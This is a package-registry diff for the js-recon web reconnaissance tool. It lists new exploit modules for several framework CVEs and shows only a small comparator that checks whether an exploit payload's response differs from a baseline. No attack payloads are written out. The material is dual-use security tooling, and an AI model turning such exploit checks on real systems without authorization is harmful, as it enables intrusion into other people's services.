@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-sync/sync.sh +1 -1
- package/.github/workflows/build-and-prettify.yaml +55 -25
- package/.github/workflows/codeql.yml +33 -0
- package/.github/workflows/exploit-smoke-test.yaml +160 -0
- package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
- package/.github/workflows/plumber.yml +20 -0
- package/.github/workflows/promote-js-recon.yml +5 -3
- package/.github/workflows/publish-js-recon.yml +6 -1
- package/.github/workflows/rules-smoke-test.yaml +15 -7
- package/.nvmrc +1 -0
- package/.plumber.yaml +151 -0
- package/CHANGELOG.md +54 -0
- package/CONTRIBUTING.md +32 -0
- package/Dockerfile +1 -0
- package/README.md +55 -2
- package/SECURITY.md +1 -1
- package/build/analyze/engine/astEngine.js +10 -9
- package/build/analyze/engine/astEngine.js.map +1 -1
- package/build/analyze/engine/csMastSEngine.js +6 -6
- package/build/analyze/engine/csMastSEngine.js.map +1 -1
- package/build/analyze/engine/index.js +1 -1
- package/build/analyze/engine/index.js.map +1 -1
- package/build/analyze/engine/requestEngine.js +6 -6
- package/build/analyze/engine/requestEngine.js.map +1 -1
- package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
- package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
- package/build/analyze/helpers/initRules.js +42 -24
- package/build/analyze/helpers/initRules.js.map +1 -1
- package/build/analyze/helpers/outputHelper.js +3 -3
- package/build/analyze/helpers/outputHelper.js.map +1 -1
- package/build/analyze/helpers/schemas.js +1 -0
- package/build/analyze/helpers/schemas.js.map +1 -1
- package/build/analyze/helpers/validate.js +9 -5
- package/build/analyze/helpers/validate.js.map +1 -1
- package/build/analyze/index.js +26 -16
- package/build/analyze/index.js.map +1 -1
- package/build/cliProgram.js +710 -0
- package/build/cliProgram.js.map +1 -0
- package/build/completion/index.js +245 -339
- package/build/completion/index.js.map +1 -1
- package/build/completion/introspect.js +17 -0
- package/build/completion/introspect.js.map +1 -0
- package/build/config/applicationConfig.js +494 -0
- package/build/config/applicationConfig.js.map +1 -0
- package/build/cs_mast/index.js +18 -17
- package/build/cs_mast/index.js.map +1 -1
- package/build/endpoints/gen_report/gen_json.js +2 -2
- package/build/endpoints/gen_report/gen_json.js.map +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
- package/build/endpoints/index.js +12 -12
- package/build/endpoints/index.js.map +1 -1
- package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
- package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
- package/build/endpoints/next_js/client_jsonParse.js +4 -4
- package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
- package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
- package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
- package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
- package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
- package/build/exploit/angular/cve-2026-68945.js +61 -0
- package/build/exploit/angular/cve-2026-68945.js.map +1 -0
- package/build/exploit/index.js +60 -0
- package/build/exploit/index.js.map +1 -0
- package/build/exploit/next/cve-2025-29927.js +65 -0
- package/build/exploit/next/cve-2025-29927.js.map +1 -0
- package/build/exploit/next/cve-2026-64645.js +51 -0
- package/build/exploit/next/cve-2026-64645.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71315.js +47 -0
- package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71320.js +114 -0
- package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
- package/build/exploit/react/cve-2025-55182.js +116 -0
- package/build/exploit/react/cve-2025-55182.js.map +1 -0
- package/build/exploit/registry/cveRegistry.js +115 -0
- package/build/exploit/registry/cveRegistry.js.map +1 -0
- package/build/exploit/types.js +2 -0
- package/build/exploit/types.js.map +1 -0
- package/build/exploit/utility/compareResponses.js +29 -0
- package/build/exploit/utility/compareResponses.js.map +1 -0
- package/build/exploit/utility/outputHelper.js +22 -0
- package/build/exploit/utility/outputHelper.js.map +1 -0
- package/build/exploit/utility/rawRequest.js +54 -0
- package/build/exploit/utility/rawRequest.js.map +1 -0
- package/build/exploit/utility/sandboxRce.js +49 -0
- package/build/exploit/utility/sandboxRce.js.map +1 -0
- package/build/exploit/utility/toEngineOutput.js +28 -0
- package/build/exploit/utility/toEngineOutput.js.map +1 -0
- package/build/exploit/utility/wsClient.js +78 -0
- package/build/exploit/utility/wsClient.js.map +1 -0
- package/build/exploit/vite/cve-2025-30208.js +44 -0
- package/build/exploit/vite/cve-2025-30208.js.map +1 -0
- package/build/exploit/vite/cve-2026-39363.js +60 -0
- package/build/exploit/vite/cve-2026-39363.js.map +1 -0
- package/build/fingerprint/index.js +11 -21
- package/build/fingerprint/index.js.map +1 -1
- package/build/globalConfig.js +2 -2
- package/build/globalConfig.js.map +1 -1
- package/build/index.js +16 -555
- package/build/index.js.map +1 -1
- package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
- package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/downloadFilesUtil.js +51 -40
- package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
- package/build/lazyLoad/downloadQueue.js +154 -50
- package/build/lazyLoad/downloadQueue.js.map +1 -1
- package/build/lazyLoad/downloadResponse.js +113 -0
- package/build/lazyLoad/downloadResponse.js.map +1 -0
- package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
- package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
- package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
- package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
- package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
- package/build/lazyLoad/globals.js +35 -0
- package/build/lazyLoad/globals.js.map +1 -1
- package/build/lazyLoad/index.js +311 -175
- package/build/lazyLoad/index.js.map +1 -1
- package/build/lazyLoad/methodFilter.js +2 -0
- package/build/lazyLoad/methodFilter.js.map +1 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js +39 -14
- package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
- package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +21 -20
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_SubsequentRequests.js +100 -99
- package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
- package/build/lazyLoad/next_js/next_buildId.js +2 -2
- package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
- package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
- package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
- package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
- package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
- package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
- package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/outputPath.js +92 -0
- package/build/lazyLoad/outputPath.js.map +1 -0
- package/build/lazyLoad/react/react_followImports.js +15 -5
- package/build/lazyLoad/react/react_followImports.js.map +1 -1
- package/build/lazyLoad/react/react_getScriptTags.js +11 -6
- package/build/lazyLoad/react/react_getScriptTags.js.map +1 -1
- package/build/lazyLoad/react/react_sourcemapUrls.js +3 -2
- package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
- package/build/lazyLoad/react/react_webpackChunkPaths.js +12 -203
- package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
- package/build/lazyLoad/researchUtils.js +15 -0
- package/build/lazyLoad/researchUtils.js.map +1 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
- package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
- package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
- package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
- package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
- package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
- package/build/lazyLoad/techDetect/index.js +106 -60
- package/build/lazyLoad/techDetect/index.js.map +1 -1
- package/build/lazyLoad/vue/vue_RuntimeJs.js +20 -15
- package/build/lazyLoad/vue/vue_RuntimeJs.js.map +1 -1
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +10 -5
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_discoverJsFiles.js +20 -17
- package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js +70 -46
- package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/vue/vue_jsImports.js +3 -2
- package/build/lazyLoad/vue/vue_jsImports.js.map +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js +3 -2
- package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +6 -5
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +10 -21
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js +5 -4
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_stringJsFiles.js +28 -25
- package/build/lazyLoad/vue/vue_stringJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_viteMapDeps.js +8 -2
- package/build/lazyLoad/vue/vue_viteMapDeps.js.map +1 -1
- package/build/load/index.js +8 -7
- package/build/load/index.js.map +1 -1
- package/build/map/angular_js/getAngularConnections.js +6 -6
- package/build/map/angular_js/getAngularConnections.js.map +1 -1
- package/build/map/graphql/resolveGraphql.js +6 -6
- package/build/map/graphql/resolveGraphql.js.map +1 -1
- package/build/map/index.js +17 -17
- package/build/map/index.js.map +1 -1
- package/build/map/interactive-mode/commandHandler.js +278 -0
- package/build/map/interactive-mode/commandHandler.js.map +1 -0
- package/build/map/interactive-mode/commandHelpers.js +189 -0
- package/build/map/interactive-mode/commandHelpers.js.map +1 -0
- package/build/map/interactive-mode/esqueryGen.js.map +1 -0
- package/build/map/interactive-mode/helpMenu.js +11 -0
- package/build/map/interactive-mode/helpMenu.js.map +1 -0
- package/build/map/interactive-mode/inputPatch.js.map +1 -0
- package/build/map/interactive-mode/interactive.js +71 -0
- package/build/map/interactive-mode/interactive.js.map +1 -0
- package/build/map/interactive-mode/keybindings.js.map +1 -0
- package/build/map/interactive-mode/printer.js.map +1 -0
- package/build/map/interactive-mode/ui.js.map +1 -0
- package/build/map/next_js/getAxiosInstances.js +5 -5
- package/build/map/next_js/getAxiosInstances.js.map +1 -1
- package/build/map/next_js/getExports.js +4 -4
- package/build/map/next_js/getExports.js.map +1 -1
- package/build/map/next_js/getFetchInstances.js +10 -10
- package/build/map/next_js/getFetchInstances.js.map +1 -1
- package/build/map/next_js/getTurbopackConnections.js +8 -8
- package/build/map/next_js/getTurbopackConnections.js.map +1 -1
- package/build/map/next_js/getWebpackConnections.js +27 -16
- package/build/map/next_js/getWebpackConnections.js.map +1 -1
- package/build/map/next_js/interactive.js +3 -65
- package/build/map/next_js/interactive.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
- package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
- package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
- package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/next_js/resolveAxios.js +6 -6
- package/build/map/next_js/resolveAxios.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
- package/build/map/next_js/resolveFetch.js +23 -23
- package/build/map/next_js/resolveFetch.js.map +1 -1
- package/build/map/next_js/resolveNewRequest.js +10 -10
- package/build/map/next_js/resolveNewRequest.js.map +1 -1
- package/build/map/next_js/resolveServerActions.js +4 -4
- package/build/map/next_js/resolveServerActions.js.map +1 -1
- package/build/map/next_js/utils.js +8 -2
- package/build/map/next_js/utils.js.map +1 -1
- package/build/map/react_js/getReactConnections.js +21 -14
- package/build/map/react_js/getReactConnections.js.map +1 -1
- package/build/map/svelte_js/interactive.js +3 -54
- package/build/map/svelte_js/interactive.js.map +1 -1
- package/build/map/vue_js/getViteConnections.js +23 -16
- package/build/map/vue_js/getViteConnections.js.map +1 -1
- package/build/map/vue_js/interactive.js +3 -63
- package/build/map/vue_js/interactive.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
- package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/vue_js/taint_utils.js +1 -1
- package/build/map/vue_js/taint_utils.js.map +1 -1
- package/build/map/vue_js/vue_resolveFetch.js +12 -12
- package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
- package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
- package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
- package/build/map/vue_js/vue_resolveXhr.js +11 -11
- package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
- package/build/mcp/chatOneShot.js +7 -7
- package/build/mcp/chatOneShot.js.map +1 -1
- package/build/mcp/claudeCodeCreds.js +5 -5
- package/build/mcp/claudeCodeCreds.js.map +1 -1
- package/build/mcp/cli.js +36 -35
- package/build/mcp/cli.js.map +1 -1
- package/build/mcp/config.js +4 -4
- package/build/mcp/config.js.map +1 -1
- package/build/mcp/index.js +7 -7
- package/build/mcp/index.js.map +1 -1
- package/build/mcp/mcpServer.js +3 -2
- package/build/mcp/mcpServer.js.map +1 -1
- package/build/mcp/skills.js +1 -0
- package/build/mcp/skills.js.map +1 -1
- package/build/mcp/tools.js +5 -4
- package/build/mcp/tools.js.map +1 -1
- package/build/proxy/checkFeasibility.js +8 -4
- package/build/proxy/checkFeasibility.js.map +1 -1
- package/build/proxy/checkFireWallBlocking.js +23 -13
- package/build/proxy/checkFireWallBlocking.js.map +1 -1
- package/build/proxy/detectBlockedResponse.js +205 -0
- package/build/proxy/detectBlockedResponse.js.map +1 -0
- package/build/proxy/genReq.js +434 -127
- package/build/proxy/genReq.js.map +1 -1
- package/build/proxy/index.js +3 -3
- package/build/proxy/index.js.map +1 -1
- package/build/proxy/oxylabsFallback.js +110 -0
- package/build/proxy/oxylabsFallback.js.map +1 -0
- package/build/proxy/proxyFeasibilityRequest.js +11 -9
- package/build/proxy/proxyFeasibilityRequest.js.map +1 -1
- package/build/refactor/index.js +83 -79
- package/build/refactor/index.js.map +1 -1
- package/build/refactor/next/index.js +69 -26
- package/build/refactor/next/index.js.map +1 -1
- package/build/refactor/next/transform.js +11 -4
- package/build/refactor/next/transform.js.map +1 -1
- package/build/refactor/next/validator.js +7 -7
- package/build/refactor/next/validator.js.map +1 -1
- package/build/refactor/react/index.js +13 -13
- package/build/refactor/react/index.js.map +1 -1
- package/build/refactor/react/validator.js +7 -7
- package/build/refactor/react/validator.js.map +1 -1
- package/build/refactor/react-vite/index.js +3 -3
- package/build/refactor/react-vite/index.js.map +1 -1
- package/build/refactor/remote/hf-client.js +1 -0
- package/build/refactor/remote/hf-client.js.map +1 -1
- package/build/refactor/remote/version-detect.js +12 -12
- package/build/refactor/remote/version-detect.js.map +1 -1
- package/build/refactor/vue/index.js +6 -6
- package/build/refactor/vue/index.js.map +1 -1
- package/build/refactor/vue/vite.js +6 -6
- package/build/refactor/vue/vite.js.map +1 -1
- package/build/report/index.js +30 -8
- package/build/report/index.js.map +1 -1
- package/build/report/swaggerJacker.js +63 -0
- package/build/report/swaggerJacker.js.map +1 -0
- package/build/report/utility/genHtml.js +7 -7
- package/build/report/utility/genHtml.js.map +1 -1
- package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
- package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
- package/build/report/utility/populateDb/populateEndpoints.js +3 -3
- package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedJson.js +2 -2
- package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
- package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
- package/build/run/bundler-detect.js +45 -9
- package/build/run/bundler-detect.js.map +1 -1
- package/build/run/cancellableStep.js +27 -0
- package/build/run/cancellableStep.js.map +1 -0
- package/build/run/dashboard/dashboardHtml.js +150 -0
- package/build/run/dashboard/dashboardHtml.js.map +1 -0
- package/build/run/dashboard/fsBrowser.js +43 -0
- package/build/run/dashboard/fsBrowser.js.map +1 -0
- package/build/run/dashboard/server.js +123 -0
- package/build/run/dashboard/server.js.map +1 -0
- package/build/run/dashboard/state.js +97 -0
- package/build/run/dashboard/state.js.map +1 -0
- package/build/run/index.js +239 -204
- package/build/run/index.js.map +1 -1
- package/build/run/interruptHandler.js +18 -0
- package/build/run/interruptHandler.js.map +1 -1
- package/build/run/outputDirectory.js +377 -0
- package/build/run/outputDirectory.js.map +1 -0
- package/build/sourcemaps/index.js +116 -29
- package/build/sourcemaps/index.js.map +1 -1
- package/build/strings/index.js +38 -28
- package/build/strings/index.js.map +1 -1
- package/build/strings/openapi.js +4 -4
- package/build/strings/openapi.js.map +1 -1
- package/build/strings/permutate.js +4 -4
- package/build/strings/permutate.js.map +1 -1
- package/build/strings/secrets.js +1 -0
- package/build/strings/secrets.js.map +1 -1
- package/build/strings/trufflehog.js +66 -19
- package/build/strings/trufflehog.js.map +1 -1
- package/build/strings/trufflehogConfig.js +36 -0
- package/build/strings/trufflehogConfig.js.map +1 -0
- package/build/strings/trufflehogDownload.js +115 -0
- package/build/strings/trufflehogDownload.js.map +1 -0
- package/build/utility/ai.js +33 -4
- package/build/utility/ai.js.map +1 -1
- package/build/utility/banner.js +4 -3
- package/build/utility/banner.js.map +1 -1
- package/build/utility/configureSandbox.js +2 -2
- package/build/utility/configureSandbox.js.map +1 -1
- package/build/utility/downloadProgress.js +99 -0
- package/build/utility/downloadProgress.js.map +1 -0
- package/build/utility/globals.js +19 -11
- package/build/utility/globals.js.map +1 -1
- package/build/utility/heap.js +2 -1
- package/build/utility/heap.js.map +1 -1
- package/build/utility/makeReq.js +490 -257
- package/build/utility/makeReq.js.map +1 -1
- package/build/utility/openapiGenerator.js +2 -2
- package/build/utility/openapiGenerator.js.map +1 -1
- package/build/utility/printMsg.js +53 -0
- package/build/utility/printMsg.js.map +1 -0
- package/build/utility/progressLog.js +68 -7
- package/build/utility/progressLog.js.map +1 -1
- package/build/utility/resolvePath.js +2 -1
- package/build/utility/resolvePath.js.map +1 -1
- package/build/utility/ruleVersionMap.js +73 -0
- package/build/utility/ruleVersionMap.js.map +1 -0
- package/build/utility/targetInputs.js +177 -0
- package/build/utility/targetInputs.js.map +1 -0
- package/build/utility/urlUtils.js +37 -1
- package/build/utility/urlUtils.js.map +1 -1
- package/config.dist.yaml +251 -0
- package/contributing/testing.md +106 -0
- package/eslint.config.js +24 -0
- package/package.json +22 -5
- package/scripts/exploit-smoke-test.js +82 -0
- package/scripts/framework-detect-smoke-test.js +64 -0
- package/scripts/postinstall-completion.mjs +40 -0
- package/scripts/smoke-test.js +12 -0
- package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
- package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
- package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
- package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
- package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
- package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
- package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
const isSuccessStatus = (status) => status >= 200 && status < 300;
|
|
2
|
+
/**
|
|
3
|
+
* Pure baseline-vs-payload response comparator. No I/O — every exploit handler makes both
|
|
4
|
+
* requests itself (via rawRequest.ts) and passes the raw status/headers/body pairs in here.
|
|
5
|
+
*
|
|
6
|
+
* `markers`, when given, are substrings expected to appear only in a successful payload response
|
|
7
|
+
* (e.g. a leaked marker string, file-content signature). `becameSuccessful` requires the status to
|
|
8
|
+
* have moved from a blocked/redirect/error shape to 2xx AND (when markers are given) at least one
|
|
9
|
+
* marker to be newly present — status change alone is not proof for exploits whose payload
|
|
10
|
+
* response can also legitimately redirect/error for unrelated reasons.
|
|
11
|
+
*/
|
|
12
|
+
export const diffResponses = (baseline, payload, markers) => {
|
|
13
|
+
const statusChanged = baseline.status !== payload.status;
|
|
14
|
+
const newlyContains = (markers !== null && markers !== void 0 ? markers : []).filter((marker) => payload.body.includes(marker) && !baseline.body.includes(marker));
|
|
15
|
+
const bodyLengthDelta = payload.body.length - baseline.body.length;
|
|
16
|
+
const baselineWasBlocked = !isSuccessStatus(baseline.status);
|
|
17
|
+
const payloadIsSuccessful = isSuccessStatus(payload.status);
|
|
18
|
+
const becameSuccessful = baselineWasBlocked &&
|
|
19
|
+
payloadIsSuccessful &&
|
|
20
|
+
(markers === undefined || markers.length === 0 || newlyContains.length > 0);
|
|
21
|
+
return {
|
|
22
|
+
statusChanged,
|
|
23
|
+
newlyContains: Object.freeze(newlyContains),
|
|
24
|
+
bodyLengthDelta,
|
|
25
|
+
becameSuccessful,
|
|
26
|
+
};
|
|
27
|
+
};
|
|
28
|
+
export default diffResponses;
|
|
29
|
+
//# sourceMappingURL=compareResponses.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"compareResponses.js","sourceRoot":"","sources":["../../../src/exploit/utility/compareResponses.ts"],"names":[],"mappings":"AAcA,MAAM,eAAe,GAAG,CAAC,MAAc,EAAW,EAAE,CAAC,MAAM,IAAI,GAAG,IAAI,MAAM,GAAG,GAAG,CAAC;AAEnF;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,CACzB,QAA4B,EAC5B,OAA2B,EAC3B,OAA2B,EACf,EAAE;IACd,MAAM,aAAa,GAAG,QAAQ,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC;IACzD,MAAM,aAAa,GAAG,CAAC,OAAO,aAAP,OAAO,cAAP,OAAO,GAAI,EAAE,CAAC,CAAC,MAAM,CACxC,CAAC,MAAM,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,CAC/E,CAAC;IACF,MAAM,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC;IAEnE,MAAM,kBAAkB,GAAG,CAAC,eAAe,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7D,MAAM,mBAAmB,GAAG,eAAe,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;IAC5D,MAAM,gBAAgB,GAClB,kBAAkB;QAClB,mBAAmB;QACnB,CAAC,OAAO,KAAK,SAAS,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC,IAAI,aAAa,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAEhF,OAAO;QACH,aAAa;QACb,aAAa,EAAE,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC;QAC3C,eAAe;QACf,gBAAgB;KACnB,CAAC;AACN,CAAC,CAAC;AAEF,eAAe,aAAa,CAAC"}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
import fs from "fs";
|
|
2
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
3
|
+
